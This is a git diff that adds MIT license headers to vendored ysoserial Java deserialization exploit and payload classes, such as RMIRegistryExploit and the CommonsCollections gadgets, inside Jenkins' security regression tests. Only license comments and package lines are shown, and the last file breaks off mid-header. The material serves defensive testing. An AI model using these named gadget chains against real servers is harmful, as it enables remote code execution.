+ * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial.exploit; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/RMIRegistryExploit.java b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/RMIRegistryExploit.java index 9468a3dc4c..9677e33bda 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/RMIRegistryExploit.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/RMIRegistryExploit.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial.exploit; import java.rmi.Remote; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsBeanutils1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsBeanutils1.java index 95db4e0eed..5ef4762658 100755 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsBeanutils1.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsBeanutils1.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial.payloads; import java.math.BigInteger; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections3.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections3.java index a388619ac1..fd13716a98 100755 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections3.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections3.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial.payloads; import java.lang.reflect.InvocationHandler; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections4.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections4.java index a973a66119..eb543de37b 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections4.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections4.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial.payloads; import java.util.PriorityQueue; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections5.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections5.java index b45aaa9fa7..36834a5360 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections5.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections5.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial.payloads; import java.lang.reflect.Field; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections6.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections6.java index 059b8c8195..da7ba5f2e7 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections6.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections6.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial.payloads; import org.apache.commons.collections.Transformer; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/DynamicDependencies.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/DynamicDependencies.java index f65a6ba13f..31d1a989dd 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/DynamicDependencies.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/DynamicDependencies.java @@ -1,3 +1,26 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ package jenkins.security.security218.ysoserial.payloads; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/FileUpload1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/FileUpload1.java index 3bc89b8d41..5a70924221 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/FileUpload1.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/FileUpload1.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial.payloads; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPClient.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPClient.java index 36c1711727..a50f1fc947 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPClient.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPClient.java @@ -1,3 +1,26 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ package jenkins.security.security218.ysoserial.payloads; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPListener.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPListener.java index a93d3b4b9a..0b6551960d 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPListener.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPListener.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial.payloads; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JSON1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JSON1.java index 626827929e..2c4a1d2479 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JSON1.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JSON1.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial.payloads; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Jdk7u21.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Jdk7u21.java index d9255750f0..9c18794a7c 100755 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Jdk7u21.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Jdk7u21.java @@ -1,3 +1,26 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ package jenkins.security.security218.ysoserial.payloads; import java.lang.reflect.InvocationHandler; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/ReleaseableObjectPayload.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/ReleaseableObjectPayload.java index 2fe2b9b717..3a78f57efc 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/ReleaseableObjectPayload.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/ReleaseableObjectPayload.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial.payloads; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Spring2.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Spring2.java index 973edd1083..ab36ca2ba3 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Spring2.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Spring2.java @@ -1,3 +1,26 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ package jenkins.security.security218.ysoserial.payloads; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/annotation/Dependencies.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/annotation/Dependencies.java index 7c21b91826..8c52d4d037 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/annotation/Dependencies.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/annotation/Dependencies.java @@ -1,3 +1,26 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ package jenkins.security.security218.ysoserial.payloads.annotation; import java.lang.annotation.ElementType; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/annotation/PayloadTest.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/annotation/PayloadTest.java index 33ab5f4419..9a743b65f4 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/annotation/PayloadTest.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/annotation/PayloadTest.java @@ -1,3 +1,26 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ package jenkins.security.security218.ysoserial.payloads.annotation; import java.lang.annotation.Retention; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/DelegateSecurityManager.java b/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/DelegateSecurityManager.java index 89929466af..29d682089e 100755 --- a/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/DelegateSecurityManager.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/DelegateSecurityManager.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial.secmgr; import java.io.FileDescriptor; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/ExecCheckingSecurityManager.java b/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/ExecCheckingSecurityManager.java index 90ea39385e..c6a5e0d82a 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/ExecCheckingSecurityManager.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/ExecCheckingSecurityManager.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial.secmgr; import java.security.Permission; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/ThreadLocalSecurityManager.java b/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/ThreadLocalSecurityManager.java index 9dd35ca7d5..3ba8908384 100755 --- a/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/ThreadLocalSecurityManager.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/ThreadLocalSecurityManager.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * 